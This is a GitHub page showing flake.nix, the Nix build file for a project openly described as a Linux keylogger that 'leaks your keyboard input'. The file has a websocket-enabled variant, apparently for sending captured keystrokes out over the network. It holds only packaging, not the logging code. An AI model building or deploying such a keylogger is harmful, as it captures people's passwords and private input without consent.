-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathflake.nix
78 lines (69 loc) · 1.89 KB
/
flake.nix
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
{
description = "Keylogger for Linux. Leaks your keyboard input";
inputs = {
nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable";
flake-utils.url = "github:numtide/flake-utils";
};
outputs =
{
self,
nixpkgs,
flake-utils,
...
}:
flake-utils.lib.eachSystem [ "x86_64-linux" ] (
system:
let
pkgs = nixpkgs.legacyPackages.${system};
mkPackage =
websockets:
pkgs.stdenv.mkDerivation {
name = "keylogger";
src = pkgs.lib.cleanSourceWith {
src = ./.;
filter = path: type: !(pkgs.lib.hasSuffix ".png" path || pkgs.lib.hasSuffix ".txt" path);
};
nativeBuildInputs =
[
pkgs.gcc
pkgs.gnumake
]
++ (pkgs.lib.optional websockets [
pkgs.libwebsockets.dev
pkgs.openssl.dev
]);
buildPhase = ''
make ${if websockets then "USE_LIBWEBSOCKETS=1" else ""}
'';
installPhase = ''
mkdir -p $out/bin
cp out/keylogger $out/bin/
'';
};
in
{
packages = {
default = mkPackage false;
with-websockets = mkPackage true;
};
apps.default = {
type = "app";
program = "${self.packages.${system}.default}/bin/keylogger";
};
devShells.default = pkgs.mkShell {
nativeBuildInputs = [
pkgs.gcc
pkgs.gnumake
pkgs.libwebsockets.dev
pkgs.openssl.dev
];
shellHook = ''
echo "Keylogger development shell"
echo "Build options:"
echo "1. Regular build: nix build"
echo "2. With websockets: nix build .#with-websockets"
'';
};
}
);
}